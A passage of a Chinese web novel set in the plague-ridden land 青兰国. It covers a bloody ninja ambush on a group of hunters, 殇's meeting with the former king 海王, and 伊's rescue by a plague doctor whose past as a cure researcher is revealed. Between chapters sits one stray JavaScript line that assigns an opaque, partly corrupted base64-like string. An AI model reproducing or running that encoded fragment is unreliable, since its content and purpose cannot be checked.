此时一把飞刀以极快的速度飞向了卡特,叶哥见此直接用镰刀挡下了这把飞刀。 叶哥揣测片刻,说: “看样子......对方是忍者啊。” 卡特和安杰罗转头看向叶哥前面,只见一个身穿黑色忍者服的女忍者站在走廊的另一边。这个女忍者对着他们几个人扔了几把飞刀,叶哥旋转镰刀挡下了全部飞刀,紧接着那个女忍者便消失了。 叶哥劝告周围人: “你们三个保护好自己!记住,一定要先保护好自己,目标是其次的!” 卡特等人: “知道了!” 此刻又有几把飞刀飞来,刘和安杰罗瞬间反应过来躲掉了这些飞刀,他们在躲开飞刀的瞬间看到了两个身穿黑色忍者服的忍者在走廊的另一头快速跑开了。看样子他们的敌人不止一个,也对,毕竟来这里不多带点人都活不下去啊。 刘: “对方不止一人!看样子对方起码有三个!” 安杰罗: “妈的!管他来几个呢!反正来几个我杀几个!” 叶哥: “安杰罗,别意气行事。这样容易出事!” 此时周围突然安静了,连一点风吹草动都没有。这时越是寂静,就越是危险。就在短暂的寂静之后,两个忍者突然出现在刘面前的走廊的尽头,他们两个似乎是在吸引叶哥他们的注意力,以此来辅助同伴去偷袭叶哥他们。但是他们的勾引是失败的,只有刘看向了他们,其他人压根没在意他们两个。就在他们两个出现后不久,一颗烟雾弹从另一条走廊扔到了叶哥面前,叶哥以为是炸弹,立马后撤几步并招呼周围其他人找掩体。此刻红枫叶的每个人都陷入了慌张的状态,就是这个慌张的状态给了那三个忍者可乘之机。 在烟雾弹散发出烟雾后,叶哥他们的视线被这一层烟所遮盖,导致他们看不清周围。此刻一把刀刺向了叶哥,叶哥瞬间反应过来,侧身躲开了这一刺,但他没有预料到接下来发生的事。当叶哥看清这把刀是一把飞刀的时候,为时已晚,一把短刀刺穿了他的侧腹。 叶哥痛苦地叫了一声。 叶哥: “啊!” 鲜血从他的伤口处迸发而出,一阵剧烈的疼痛从他的伤口处传出。好在叶哥是个熟练的老猎手,他瞬间推算出了行凶者的位置,紧接着他挥舞镰刀,一刀切下了行凶者的半个身体,为了防止一刀没死,他又补上了一记竖劈,直接将行凶者被切下的半个身体变成了两半。在做完这一切之后,刘招呼着他向另一边走。他听到后向着刘口中的方向疾驰而去,接着从烟雾弹的眼中跑了出来。 在他跑出烟雾之后,他看到安杰罗倒在地上奄奄一息,同时他的身上有两处伤口还往外流着鲜血。见到安杰罗受了这么重伤,叶哥既担心又非常惊讶。 叶哥问卡特她们: “发生了什么!?安杰罗他怎么受伤了?” 卡特声音颤抖地说道: “叶哥......安杰罗他......” 刘冷冷地说: “为了保护卡特不被突然冲进烟里的忍者刺杀,他为卡特抗下了一刀,并且重创了那个袭击卡特的忍者。但是后来......他很不幸又被捅了一刀,现在的他已经挺不住了。” 叶哥不肯放弃安杰罗,于是问道: “没有办法能救他吗?” 刘无奈地说: “没有。这里不是设备齐全的安全区,而是危机四伏的无人区。” 叶哥悲愤交加,怒骂道: “操!真他妈的操蛋!” 叶哥走到了奄奄一息的安杰罗旁边,他俯下身来用手摸了摸安杰罗的脸,他的眼神之中满是不舍与愧疚,虽然他们才认识了很短的一段时间。叶哥含着离别之情用手帮安杰罗闭上了他的双眼,以此来与这个兄弟道别。做完这一切后,叶哥站起身来,拿起了地上安杰罗的大剑,他很不舍地看了看这把还没用多久的大剑。 叶哥心情很难受,一想到安杰罗活着时的样子,那种感觉就更强烈了。 叶哥: “还没用多久呢......还很新呢。只可惜,它的主人不会再使用它了。” 叶哥把大剑插在了地上,然后转头示意还活着的两人离开这里。叶哥有些不舍,但离开是无可奈何。 叶哥: “这里不安全了,那些家伙还会回来找我们的。我们带着伊离开这里吧。” 卡特和刘: “好。” 随后叶哥三人把牢中关着的伊释放了出来,并用锁链拴住了她的手,之后便带着她离开了这个监狱,向着其他的庇护所前进。 此时殇终于克服了路痴的毛病来到了藏骨堂上方的废弃监狱。这座监狱格局很大,有很多层,也有很多间关押囚犯的牢房,只不过这些牢房里都空无一人。殇独自一人漫步在这座空荡荡的废弃监狱之中,这里静得可怕,他每走一步所发出的声音他都能清楚地听到,而且就连他踩中石子的声音也听得一清二楚。这里就连老鼠或者昆虫的声音都没有,只有死一般寂静与监狱外淅淅沥沥的雨声与天空中的雷声。 殇此刻看到了一间不一样的牢房,这间牢房的墙上刻满了数字,而且在数字之中还有着一些小字。殇很好奇,他用避雷针劈开了铁栏杆,然后大摇大摆走了进去。他走到墙边仔细观察了一下这面墙。 殇摸着下巴,边看边说: “让我看看......这墙上写的数字太多了!不知道这里之前关押着的囚犯是怎么有耐心做到这一点的。” 此时有一行小字吸引了他的注意力,他仔细去看这行小字,在他看到这行小字的内容的瞬间,他的心里不禁为这里之前关押着的囚犯感到了一丝悲伤。 “亲爱的,明天就是处死我们这些疑似感染者的时候了。你知道吗?我一点都不怕,我反倒很开心,因为他们即将把我送到因为疫病而离我而去的你的身旁了。我们很快就可以相见了......” 殇评价道: “这真是个悲伤的故事......” 此时的殇突然回想起了藏骨堂的那堆积如山的尸骸,他不禁寒毛直竖,不寒而栗。他知道,写下这段话的人已经在那堆尸骸之中了。他摇了摇头,然后走出了这间牢房,接着继续在这座监狱里寻找着伊的身影。在他来到二楼的时候,又有一间牢房吸引了他的注意。这间牢房里有着一张写着字的纸与压在上面的一支笔,同时牢房另一边的角落里还有着一柄生锈的长矛。殇故技重施,用避雷针切开了铁栏杆,接着走进了这间牢房之中。他拿起了那张写着字的纸,他看了看上面写着的字。 “我的王啊,为什么......为什么要下令处死这些无辜的人?他们这些可怜的人需要的是治疗啊!请你撤销这条命令吧......” 这看起来就是一封信,一封还未寄出去的信,一封还未写完的信。殇看到后不禁为写这封信的那位士兵感到了惋惜,他摇了摇头,接着离开了这间牢房,继续在空荡且孤寂的监狱之中寻找着伊的身影。当他来到了三楼的时候,他嗅到了空气中弥漫着的淡淡的血腥味,他顺着这个血腥味飘来的方向找到了一具被一分为三的尸体。 殇很惊讶地说: “哦?这里竟然有一具尸体......” 殇打量了这具尸体一番。 “还是新鲜的样子呢,应该是刚死没多久。” 殇俯身仔细观察一番。 “看起来还是个娘们......而且......还是个都市猎人。” 殇站起身来,摇了摇头。 “默哀吧......” 殇站起来看向周围,他又找到了一具尸体。他走到了这具尸体旁边仔细一看,他似乎认出了这具尸体的身份。他俯下身来仔细查看了一下这具尸体胸前的胸章,这个胸章上有着一个枫叶的图标以及红枫叶三个字。殇苦笑了一下,他此刻明白了这两具尸体为何出现在这里了。 殇: “看样子是黑吃黑啊......可悲,更可怜。如果没有这场疫病,他们......算了,别说无用的话了。赶紧找到伊吧,她要是出什么事......我的计划可完不成啊。” 殇站起身来为这两个倒霉的家伙默哀了半秒,然后迈着大步继续在这个空荡的监狱之中寻找伊的踪迹。这个空荡的监狱之中除了空荡的牢房就是骇人的寂静,这让殇很是苦恼,他在这个监狱之中寻找的时间越久,他就越是着急。 殇: “操!怎么连一点蛛丝马迹都没有!老子找你妈啊!” 殇十分焦躁地用拳头砸了下墙来发泄了一下他满肚子的怨气。就在他砸这一拳的时候,一个身影从他身后的黑暗之中现身。 ???: “现在可不是撒气的时候。” 殇一听到身后有人说话,立马转头看向身后那位说话的人。阴凉的寒风吹过走廊,阵阵雷声和淅淅沥沥的雨滴声回荡在走廊之中;一个手持银光三叉戟的半人半僵尸、身穿战甲、头戴王冠的国王出现在殇的面前。他的左眼发着淡蓝色的光芒,一种王的威严在他的眼神之中。他手中的三叉戟上涌动着淡蓝色的闪电,看起来就跟传说之中的海神三叉戟一样。此刻,站在殇面前的人宛如神话中所描述的海王一样,看起来格外的霸气与让人敬畏。 殇警惕地说: “你这个家伙是谁?干什么的?——你要是想要动伊或者我一根手指头,我马上就宰了你,听到没?” 对方小声嘀咕道: “像......真他娘像啊!” ???: “殇,你不用担心我十分会构成威胁。我只是来指引迷路的人们去港口的灯塔下去坐船离开这个没有希望的地方而已。” 殇问: “这么说,你就是懂路喽?” ???: “你可以这么理解,毕竟这个国家没有地方是我不知道怎么去的。” 殇露出笑容,高兴地说: “太好了!终于有个能指路的了!终于不用像个路痴一样靠运气找路了......——话说,你是真心要帮助我离开这个地方吗?” ???: “没错。” 殇微笑着问: “那你可以在我离开这里之前帮我个小忙吗?” ???: “说吧,如果不过分的话,我还是能帮帮你的。” 殇: “带我去找到一个身穿白色西服的白发小姑娘,我要带着她一起离开这个鬼地方。” ???: “可以,我能带你走一条捷径去找到那个白发小姑娘。但是我选择的那条去救她的捷径可是充满了危险,你有胆量去吗?” 殇: “胆量?我最不缺的就是胆量了!带路吧,我可不怕什么危险,毕竟我可是......” 殇突然停顿了一下。 殇: “一个可以打败许多强者的战士。” 对方小声嘀咕道: “真就如当年一样啊......不是像,就是本人。” ???: “忘了做自我介绍了,我的名字叫海王,是这个国家曾经的王。虽然这个国家已经没落了,但是我依旧是这里的王。” 海王单膝跪地,向殇行礼。 海王: “欢迎来到青兰国,殇。” 殇: “见面就不用行此大礼吧?我又不是什么重要人物。” 海王: “无论何时,我都需向您行此礼表我的尊敬。即使一切都已腐朽,但我的那颗心还如当初。” 海王站起身来。 海王: “跟我来,我带你去找那个白头发的小姑娘。” 殇: “真搞不懂你......——难不成我曾经是什么重要人物吗?也许是吧......但为什么那些人都叫我混蛋呢?这明显与那种身份不匹配啊。鬼知道答案!” 与此同时...... 从监狱之中逃出来的布奇和汤姆正在监狱外的密林之中商讨着以后的去向。淅淅沥沥的雨点浇在他们的身上,冰冷刺骨寒风吹在他们身上,仿佛老天爷也跟他们过不去。 汤姆: “操!社长被那群畜生弄死了!” 布奇: “好在我们也弄死了对方一个人。” 汤姆: “弄死了一个有什么用?我们不也牺牲了一个吗?” 布奇: “这你就不知道了。现在我们已经摸清了对方的底细,对付他们将会简单很多。有句话说得好,知己知彼百战不殆。虽然对方比我们多一个,但是我们已经明确了他们的战斗方式与弱点。别忘了,我们可是忍者。他们在明,我们在暗。” 汤姆: “那么接下来我们接下来跟他们抢人是吗?” 布奇: “当然了,不然我们为什么要来这里呢?” 汤姆: “你觉得我们有几成胜算?” 布奇: “九成。” 汤姆: “说干就干吧,反正来都来了。要么死在这里,要么带着目标回去。留给我们的,也就这两条路了。” 布奇: “说的没错。走吧!” 两个小时后...... 此刻叶哥他们正围坐在一间废弃仓库外棚子下的火堆旁取暖。他们将伊安排到了仓库之中的干草堆,让她安安静静地在那里待着。伊很是听话,因为她知道现在不听话是不行的,毕竟她现在沦落在了他们的手中。伊靠在干草堆旁静静地看着天花板,聆听着周围的声音,回想着殇与自己的时光。 现在的她十分渴望殇的到来,尽管殇有着许多令她不满的缺点,但她依旧需要殇。她此刻想要挣脱束缚去逃离这里,可是就凭她微弱的力量压根挣脱不了自己手臂之上的束缚,更何况她的一只手上还缠着绷带。伊的心情很是低落,再加上天气十分糟糕,她现在的心情更加低落了。 伊小声嘀咕道: “要是我能足够强大就好了,这样我就可以挣脱束缚逃离他们了。可我......还是没有那么强大,我只能去拖殇的后腿,让这趟漫长的征途变得更加艰难。要是有殇在就好了......” 此时仓库外传来了叶哥他们的叫喊声。之前的不速之客再次找到了叶哥他们。 叶哥对周围人大喊道: “所有人注意了!那些家伙又来了!” 刘: “真是棘手啊......” 卡特: “这些家伙没完没了是吗?” 此刻伊听到外面的动静后好奇地缓缓站起身来,向着仓库门口的方向小心翼翼挪了几步。她仔细聆听着仓库外的声音,慢慢品析着外面的状况。仓库外传来了轻微的爆炸声以及刀剑的碰撞声,不一会又传来了他们的惨叫声。过了一会,只有雨声与风声了。伊想要推门出去看一眼,可就在她走向仓库门的时候,仓库门被缓缓推开了...... ...... 这时,宙级洪流这里来了一个特殊的来客。这是许多年间第一个来客,上一个来客到这里还是在几十年前。 ???: “宙级洪流,看样子你还在守候这个地方啊。这么多年了,你的思维竟然没有被固化,你的大脑竟然还在思考!你可真是厉害啊!” 宙级洪流: “你是?时间旅者!你怎么来这里了?” 旅者: “你说呢?老头子。我来这里当然是来审查时间线啦,不然我来这里干什么呢?你难道还指望我修改时间线来挽救我们这个无可救药的世界吗?” 宙级洪流: “也是啊。不然你怎么能回来呢?” 旅者: “老头子,还有件事我得跟你说一下。” 宙级洪流: “什么事?” 旅者: “上次时间循环的末尾出现了问题,有些存在存活到了这次时间循环之中。希望你知道该怎么处理这个问题......” 宙级洪流: “我知道了,我会想尽办法去处理的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第五话:是好是坏 仓库的大门缓缓打开了,一个健硕的身影出现在伊的面前。昏暗的光照在他银白色的鸟嘴面具的上,淅淅沥沥的雨点滴在他身上披着的黑色带帽斗篷上,一种无名的阴森使伊感到了紧张。他头上的黑色礼帽随着风一颤一颤地微微摆动,他蓬松的黑发、破旧的青色短袖和斗篷的底部在风中摆动着,一种沧桑感油然而生。黑裤子配上黑靴子,看起来有种帅气的格调。 身上的黑色斗篷、头上的黑礼帽与脸上的鸟嘴面具已经表明了他的身份,毫无疑问,他是一位疫医,一位在无人区中的疫医。面对此等特殊的人物,伊的心里有些紧张,毕竟她的双手还被东西束缚着。 伊不安地问: “你......你是来这做什么的?” 疫医回答道: “我是来这里去解救一个小朋友口中的朋友的。我想,你应该就是她口中的那个白发姑娘吧。” 伊问: “小朋友?你是指一个金发女孩是吗?” 疫医肯定地说: “没错。” 伊担心地问: “她现在在哪里?她没事吧?” 疫医即答: “她什么事都没有。” 伊松了一口气,露出微笑,说: “那就好。” 疫医很严肃地说: “别说废话了,快跟我走,我带你去找她。” 伊点点头,回应道: “好。” 这个身影刚刚转身迈出第一步,伊就叫住了他。 伊问疫医: “对了,你叫什么名字?” 疫医沉默片刻,答道: “......叫我疫医就行了。” 伊笑着对疫医说: “好的,疫医。” 疫医带着伊走出了仓库。在伊走出仓库之后,一番混乱且血腥的场面出现在伊的面前。 只见叶哥他们被大卸八块,他们的血溅得周围到处都是,再加上他们身体的各个部分、组织、器官、骨骼以极其混乱且恶心的姿态摆放在地面上,这让伊差点没吐出来。除此之外,还有两个身穿黑色忍者服的尸体,他们当中一个被切成了三段,一个只剩下了上半身。鲜血到处都是,空气之中弥漫着血腥味,一种恶心的感觉涌上伊的心头。此刻伊的胃内正在翻江倒海,一种强大的冲击力冲击伊的食道,接着伊忍不住开始呕吐。 说实在的,正常人见到这番景象一般都是能吐出来的,毕竟不是所有人都能接受这种场面的。就在伊在一旁呕吐的时候,疫医走到这些尸体旁边,拿出了一个很别致的特质针管,接着仿佛是在抽空气一样从这些尸体上抽走了一些东西。这些东西在他手中的针管中发出了淡蓝色的幽光,看着这淡蓝色的幽光,在面具之后的他露出了得意的笑容。随即他收起了这根针管,接着拿起了地上的一把飞刀。 他转身走向伊,伊这时刚刚从恶心之中缓过神来。伊看到他拿着飞刀走向自己,心中突然多了一丝不安,这种不安来自她对疫医的不信任。 伊心怀不安与害怕,问: “你......你这是想做什么?” 就在伊想要转身逃跑的时候,疫医用极快的速度用飞刀切断了伊的束缚,让伊的双手重获自由。 疫医很平淡地说: “没什么,只是帮你摆脱一下束缚而已。” 此刻的伊瞬间醒悟过来,原来他并不是想要要了伊的命,这对于伊来说只是虚惊一场。她对面前这个身份不明的疫医多了一份信任,一份莫名的信任。伊想要张口感谢疫医,可没等她开口道谢,疫医就转过身去对着她做了个前进的手势。伊自然是明白的,她露出了微笑,接着跟了上去。 此刻疫医突然停下了脚步,他回头看了一眼那些尸体,他的眼神似乎是在诉说着什么,他下意识摸了摸腰间小药包内的炼金试剂,然后他便转过头去,把手重新放回身体两旁,继续向前走着。伊见到疫医这样,也忍不住回头看了一眼。 看这一眼不要紧,一看就吓了伊一跳。就在她视线中心落到那个只有上半身的忍者尸体的面部上时,她才注意到他的面部溃烂,白骨都已经露出了大半而且部分白骨也溃烂了,这绝对不是常规冷兵器可以做到的。伊快速思考了一下,那么只有一种合理的可能;能造成这般惨烈的死相的,就是诸如硫酸这类能对有机生物能造成巨大伤害的化学药物。目前有可能做到这件事的,只有那位疫医,因为他是第三方。这点让伊对周围疫医刚刚建立的信任之上蒙上了一层怀疑与警惕。 伊的表情很是难看,她的眼神之中充满了伤心,也许是因为她很同情这些客死他乡的都市人吧。 伊心里: “这绝不是他们所为,因为这只有化学试剂才能做得到。而能有化学试剂的......只有那位疫医。——是他杀了他们吗?还是说他们是自相残杀导致的这样?——我该不该信任这个身份不明的疫医先生呢?” 为了不让疫医怀疑,她在看了两眼之后便快步追上了走在前面的疫医,并跟随他一起向着某个安全的地方前进。 风,呼呼地吹着,雨,淅淅沥沥地下着,雷,轰隆隆地响着。风暴还在肆虐这片土地,乌云还是黑压压的一片,风和雨还是那样的大,风暴没有丝毫褪去的样子。在密林间的小道中,伊跟随着疫医缓缓前行着。 伊很不安地跟在他的身旁,因为她对疫医还是有警惕之心。她本想着逃跑,可是一想到马婷婷还在他那边,她处于担心便一直跟随着疫医前进。疫医走路的时候头微微低着,仿佛是在边走边思考某件事。伊见到后不禁心生疑惑,她想问问疫医他在思考什么,但是又害怕打断他的思考,于是她就在一旁一直默默注视着他。 这时,疫医突然抬起头来,转头问了伊一个问题。 疫医: “你冷吗?” 伊听到疫医这么说感到有些惊讶,她没想到疫医竟然会问自己这个问题。 伊摇摇头,说: “不冷。我身上这身羽毛服足够保暖。” 疫医: “哦......你要是冷了就说一声,我把我身上的长袍给你披上。” 伊: “谢谢,我暂时不用。” 疫医转过头去继续微微低着头继续前进。就在他转过身的那一刻,伊的胸口发出了金色的光芒。伊感受到了来自疫医体内的特殊能量,这种能量就跟当初在马婷婷身上感受到的那种能量一模一样,似乎......疫医也是个需要被伊所拯救的人。 伊心里: “又是这种感觉.....难不成他也是个需要被拯救的人吗?” 过了一段时间,疫医带着伊来到了一座山的山脚下。他们两个抬头向上望去,翠绿色的森林包裹住了这座山,让这座山看起来生机勃勃。 伊好奇地问疫医: “我们要上山吗?” 疫医答道: “没错。” 疫医指着半山腰,说: “我们的目的地就在半山腰那个位置。快走几步吧,马上就到地方了。” 伊回应道: “好。” 伊跟着疫医一路向前,直至目的地。这一路上他们遇到了许多的阻碍,但都在疫医的指挥下一一被解决了。当他们来到半山腰的时候,一个很大的洞口出现在他们的面前,洞内很是漆黑,看样子内部是个极其深邃的洞穴。 伊有些害怕地说: “我们要进去吗?” 疫医回答: “没错。我们的目的地就在这个洞穴之中,我的基地就建设在洞穴深处。” 伊问: “你有什么照明的东西吗?” 疫医疑惑地说: “啊?你还怕黑啊?都多大个人了。忍着吧,走一会就到了。我的基地里有光源,到时候就不黑了。” 伊勉为其难答应道: “好吧。” 疫医带着伊走进了洞口,向着洞口后深邃的洞穴走去。随着他们越来越深入这个洞穴,周围的亮度越来越暗,最后直至完全是黑暗。在这黑暗的环境之中,伊一时找不到前面领路的疫医了。她有些着急,她知道在这个地方迷路会面临怎样的困境。就在她着急的时候,她的胸口处发出了一道微光,接着一个发光的光球从她的胸口处飞出。 伊见到这个光球之后很是惊喜,她从未想过自己的核心竟然可以这么用。她伸出手去摸那个光球,结果这个光球仿佛是有灵性一样故意躲了一下,之后在空中转悠了三圈,最后缓缓落在了伊的手上。伊看着手中的光球露出了笑容,接着她拿着这个光球在这个黑暗的洞穴之中前进。渐渐的,她发现周围的地面开始变得平坦,同时微微的马达运转声开始回荡在洞穴之中。 伊疑惑地说: “这里的地面怎么变成了这样?踩起来就跟金属地面一样。而且这周围怎么还有马达运转的声音?这周围有什么工厂吗?” 此时她的前方突然出现了一道光芒,这道光芒极其刺眼,这使得伊连忙用手遮挡住了双眼。过了一会,这道光芒瞬间变暗,最后变成了昏暗的灯光。光的那头,传来了疫医的声音。 “你跑哪里去了?赶紧进来吧,那个金发小朋友现在正在找你呢。” 伊缓缓放下手,定睛往前面一看。她发现她的前方出现了一扇打开着的大门。 “哦。” 说完,伊走向了她面前的大门,同时她手中的光球重新回到了她的核心之中。在她走过这扇大门的时候,她看到了一条狭长的实验室走廊。走廊之中凌乱地堆积着各种实验器材与书籍,走廊之上的灯发出昏暗的灯光,走廊的地面上到处都是灰尘,看起来这个地方像是荒废有一段时间了。走廊的尽头有一扇紧闭着的大门,看起来很神秘。就在这时,伊身后的大门突然关上了,并发出了刺耳的响声。伊转头看去,发现自己的后路已经被封死了,接下来她只能默默祈祷疫医不是个坏人。 疫医: “跟我来,我带你去找那个金发小朋友。” 伊: “好。” 疫医转身向着走廊的尽头走去,伊紧接着跟了上去。在她跟着疫医走过走廊尽头尽头的大门后,一个巨大且气派的大厅出现在她的眼前。大厅中间有着一座国王殇的雕像,其余周围都是一些精美的大理石雕塑;大厅的一面墙上有着一个巨大的标志,这个标志是某个不出名的研究机构的标志,看起来有一种特殊的年代感;大厅内部还有着许多实验器材,不知道是谁把它们弄到这里的;大厅内还有着许多电子指示牌,只不过因为特殊原因这些指示牌已经显示不出文字了。疫医很深情地走到了大厅的中间,然后抬头看着那个实验机构的标志。 看着眼中的一切,疫医深情地说道: “很久很久之前,这世上有一批志向高远的人。这些人不为了金钱名利,只为了这世间苍生而努力。他们都怀揣着一个伟大的梦想,那就是研究出治好疫病的方法与药物。他们不远万里来到无人区之中进行实验,他们相信凭借着努力就可以实现自己的梦想.....可现实是无情的。” 疫医转过身来看着伊。 “那些人以曾经的名人大炼金师为榜样而努力拼搏,争取研究出能拯救一切的药物。他们是那么的天真,那么的傻啊。——人与人终究还是有区别的......没过多久,一种新型的疫病感染了他们,最后都夺走了他们的生命,只留下了这个巨大的研究机构。——你说......他们可怜吗?” 伊深表同情,说: “可怜。” 疫医感伤片刻,说: “可怜,能不可怜吗?因为可怜,所以可悲啊......这疫病比他们所有人想的都要厉害,以至于连核心的力量都无法与之抗衡。” 片刻的沉默过后,疫医突然扯开话题。 “说太多了,先干正事吧。跟我来,走过那个走廊,就到了那个金发小朋友休息的地方。” 说完,疫医就带着伊走向了大厅一头的走廊。伊边走边回想着疫医讲的那件事,她能感觉到疫医来自心里的那种悲伤,仿佛这件事就跟他亲自经历过一样。 在走到走廊的尽头后,一个巨大的电梯出现在她的面前。疫医指了指那个电梯,示意伊和他一起坐电梯。伊很听话地跟着他一起上了电梯,接着他们便向着地下前进。在电梯到达底层后,一种前所未有的感觉涌上伊的心头,这种感觉很奇妙,就跟有东西在轻轻抚摸着她一样。 伊惊奇地说: “诶?这是怎么回事?为什么我能感觉到用东西在抚摸我?” 疫医告诉她: “不必大惊小怪,这是这周围磁场的缘故。” 伊问: “磁场?磁场能导致这种现象吗?” 疫医说: “......我不知道该怎么解释,反正事实就是这样。” 接下来,疫医领着伊走过狭长的走廊,来到了这所机构专门为员工所准备的宿舍中。 疫医告诉伊: “去编号为607的房间,那个金发小朋友就在那里面。” 伊回应: “好。” 伊来到了编号为607的房间门口,接着推门而入。就如疫医说的那样,马婷婷就在这个房间之中。同时这个房间里还有正在熟睡一大一小,一黑一白两只鸟。马婷婷的手臂上绑着绷带与支架,看样子她曾经历过什么灾难。房间内各种设施齐全,而且还有两张嵌入墙体的智能床,看起来高端极了。马婷婷此刻正坐在在看书,她在听到开门的动静后放下了书,在看到开门的是伊后,她整个人瞬间变得十分开心与兴奋。 马婷婷激动地说: “伊!是你!太好了,你也逃出来了。” 伊露出微笑,说: “嗯。看到你没事我就放心了。” 马婷婷感激地说: “这得多感谢那两只鸟与那个黑衣服的叔叔,不然我根本没办法来到这里。这里待着老舒服了,就像在家里一样......” 马婷婷突然联想到了什么,突然沉默片刻。片刻后,马婷婷用手指了指手臂上的绷带与支架,告诉伊: “我在逃跑的途中摔断了手臂,但还好那个叔叔会医术,他帮我处理好了伤口,并为我准备了房间与食物。要不是他,也许我会因为伤口感染而死呢。” 伊惊奇地说: “他对你那么好啊?” 马婷婷笑着说: “当然了,那个叔叔心很好的。” 此时伊对疫医的看法发生了一些改变,但她仍有些不信任疫医,因为她还记得那张被化学试剂腐蚀了的脸。如果疫医真的是好人,那么他为什么要用化学试剂杀了那个人呢,他们两个之间毫无恩怨,平白无故的杀人是不可能的。 就在这时,正在熟睡之中的小鸟缓缓睁开了眼睛。小鸟看到站在门口的伊后很是惊讶,他想不到伊竟然也来到了这个地方。 小鸟: “伊?你怎么来到这里了?” 伊: “说来话长。” 小鸟: “你也是跟着那个黑衣服的疫医来的?” 伊: “没错,他救了我,所以我跟他来到了这里。” 小鸟: “他为什么救你?” 伊摇摇头,说: “不知道,也许是出于好意。” 此时伊突然意识到了一个问题,她立马转身跑离了这件房间。 马婷婷: “诶!伊,你干什么去?” 伊: “有点事需要我处理一下。” 几分钟后,伊在这层的一间实验室中找到了疫医。疫医此时正在按照配方配置着一种特殊的药水,他的手里拿着两试管的未知淡蓝色液体,这种未知液体是伊从来没见过的新型液体。他很专心致志去配置药水,以至于听到伊的脚步声都没有回头去看。 伊: “疫医。” 疫医疑惑地问: “什么事?是不是饿了?饿了的话走廊尽头的售货机里有吃的,直接拿,不用付费。要是渴了的话那里也有水......” 伊询问道: “他们当中有一个人是被你杀死的吧......” 疫医突然沉默了,他本来还在进行配置药水,可就在这一刻他突然停止了配置药水。 伊: “我能看出其中一人的面部是被酸性试剂腐蚀了。现场能做得到这一切的人只有你,我和他们都没有可以腐蚀皮肤与骨骼的化学试剂。而你作为第三者,是最有可能办得到此事的。” 伊: “请你告诉我,为什么要杀死他?” 疫医将手中拿着的两管未知液体放回了试管架,接着疫医背对着她叹了一口气。 疫医冷冷地说: “你知道为什么,伊。” 伊一听这话,眼睛瞬间瞪大了。 伊惊讶地问: “你知道我的名字?” 疫医: “我不仅仅知道你的名字,我还知道你是前辈的孙女,前辈的希望,代表S的存在。” 伊惊讶地说: “你知道我!” 疫医: “没错。我早在许多年前就知道了你的存在,只不过那时我还不知道你是S。” 不安与焦虑涌上伊的心头。伊问: “那你接下来打算怎么处理我?” 疫医: “帮助我完成一些实验,当几天我的小助理。” 伊又问: “你不想拿我去卖钱吗?” 疫医苦笑几声,说: “呵......钱什么的,我早就看腻了。” 伊再问: “话说......你能回答我一个问题吗?” 疫医: “说吧。” 伊很真诚地问: “你真的是在用你真实的感情对待我和马婷婷吗?” 疫医再次沉默了,他思考了很久,他不知道该怎么回答这个问题。 伊坚定地说: “我听了你给我讲的那个故事......其实你就是那些主动来到无人区去制造解药的人中的一员吧。我能从你的言语之中感受到你心里的那种悲伤,那种最真实的情感。” 疫医苦笑几声,说: “呵......可悲而已,可悲而已啊。” 此刻,伊的周围再次发出了奇异的光芒,接着,她的眼前出现了疫医的记忆世界。 露露亲切地叫道: “楚!该起床了,我们到地方了!” 楚(疫医)迷迷糊糊答应道: “知道了,知道了。我马上起来!” 楚坐起来伸了个懒腰,接着走到了门口与同事们打了个招呼。他的同事们都是微笑着回应他的。 “早上好啊!各位。” 露露: “早上好,楚。” 斯拉夫微笑着拍了一下楚的胳膊,这是他特别的打招呼方式。 “老兄,早上好。” 程子韶: “早上好,楚。” 米洛: “早上好!楚。准备好大干一场了吗?” 楚: “当然了!” 这时,船长曹大喊道: “伙计们!到地方了!” 程子韶一脸疑惑地说: “真的?” 斯拉夫惊讶地说: “这么快啊!” 过了一会,楚跟着他的同事们一起来到了甲板上观望几十海里外的青兰国。海风吹过他们的身旁,温暖的阳光照在他的身上,此刻的他们,仿佛是在世界的聚光灯之下。他们每个人怀揣着希望与梦想微笑着看着远处的青兰国,即使他们知道前路将是充满困难与苦难的,但他们依旧笑着去面对未来的一切挫折。 他们是来自穹顶区与地平区的人才,是各种大公司都抢的存在。他们是群有梦想的追梦人,他们的梦想是倾尽自己一生的时光去研制出一种能治好疫病的解药,以此来拯救这个已经被疫病摧残的不成样子的世界。因为这个梦想,所以他们果断拒绝了许多公司伸来的橄榄枝,毅然决然地来到了无人区,选择了一条所有人都不想走的道路。 看着眼前的美景,众人接连发出感叹。 楚: “青兰国,说实话真美啊。要是不是因为这场大疫灾,也许这里将是个美丽富饶的地方。要是没有这场大疫灾就好了......” 斯拉夫: “没错,老兄。这地方着实漂亮,有山有水有沙滩,有花有树有蓝天,生活在这种地方,一定是种享受吧。” 露露: “对啊,这里没有灰色的都市,只有美丽的大自然。这种生活,谁不想过呢?” 程子韶: “各位,等我们研究出解药后。也许在我们风烛年华的时候,我们还能在这里钓钓鱼呢。” 米洛: “对啊,等我们研究出解药之后,这里一定是一番美景吧。” 过了几个月,一座由碧蓝世界公司所支持建造的小型实验基地在这里建造完成。楚和他的同事们开始了在这里研究解药的漫长时光,虽然日子很苦,但是他们都坚持下来了。他们的研发进度极慢,并且多次失败,这让他们很苦恼,但他们从未放弃。即便现实总是刁难他们,但他们从未停止过自己手里的工作,一切都是为了他们的梦想。 又一次实验失败,这让露露很苦恼。露露难过地说: “哎呀!又失败了!这是第八十多次失败了......” 接着,露露的同事们就给予了她鼓励。 楚: “别气馁!坚持,就是胜利。” 斯拉夫: “没错,坚持就是胜利。反正我们又不是第一次失败了。” 程子韶: “失败乃成功之母,坚持住,总有一天会成功的。” 露露露出微笑,重拾信心。她说: “嗯。说得没错。坚持,坚持下去就一定会有希望的......” 后来他们在这里意外发现了之前炼金师留在这里的一个实验基地,好巧不巧的是,炼金师的基地竟然一直就在他们的实验基地下方,而且两个基地的垂直差距只有不到10米的距离。之后碧蓝世界公司额外修了个电梯让炼金师的实验室与他们的实验基地连在了一起,这是因为这样,才导致了后来的灾难。 